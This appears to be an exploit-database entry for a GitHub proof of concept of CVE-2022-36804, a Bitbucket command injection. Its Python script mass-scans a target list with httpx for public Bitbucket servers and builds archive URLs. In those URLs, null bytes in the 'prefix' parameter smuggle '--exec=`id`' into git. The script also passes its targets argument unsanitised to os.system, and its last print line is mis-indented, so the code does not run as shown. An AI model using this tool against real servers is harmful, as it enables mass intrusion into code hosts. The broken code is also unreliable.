Exploit database

GH-e6f7629b508bb717ef59875e690e6227

kljunowsky/cve-2022-36804-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-36804

15 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
kljunowsky/cve-2022-36804-pocRevision af4816d0d375

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2022-36804.py

Suggested starting filePython · 1,067 bytes
import os
import argparse
import requests

# Read the input arguments
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--targets", help="Targets file", required=True)
args = parser.parse_args()

# Get the URLs
os.system(f"cat {args.targets} | httpx -follow-redirects -title -path /repos?visibility=public -match-string 'repository-container' -threads 9500 | grep Bitbucket |awk '{{print $1}}' > urls.txt")

# Read URLs
with open("urls.txt", "r") as f:
    urls = f.read().splitlines()

# Process URLs
for url in urls:
    # Remove /repos?visibility=public
    base_url = url.replace("/repos?visibility=public", "")
    # Get the project URL
    project_url = f"{base_url}{requests.get(base_url).text.split('/projects/')[1].split('/browse')[0]}/browse"
    # Get the archive URL
    archive_url = f"/rest/api/latest{requests.get(project_url).text.split('/projects/')[1].split('/browse')[0]}/archive?filename=kiE0h&at=kiE0h&path=kiE0h&prefix=ax%00--exec=%60id%60%00--remote=origin"
        # Print the archive URL
        print(f"{base_url}{archive_url}")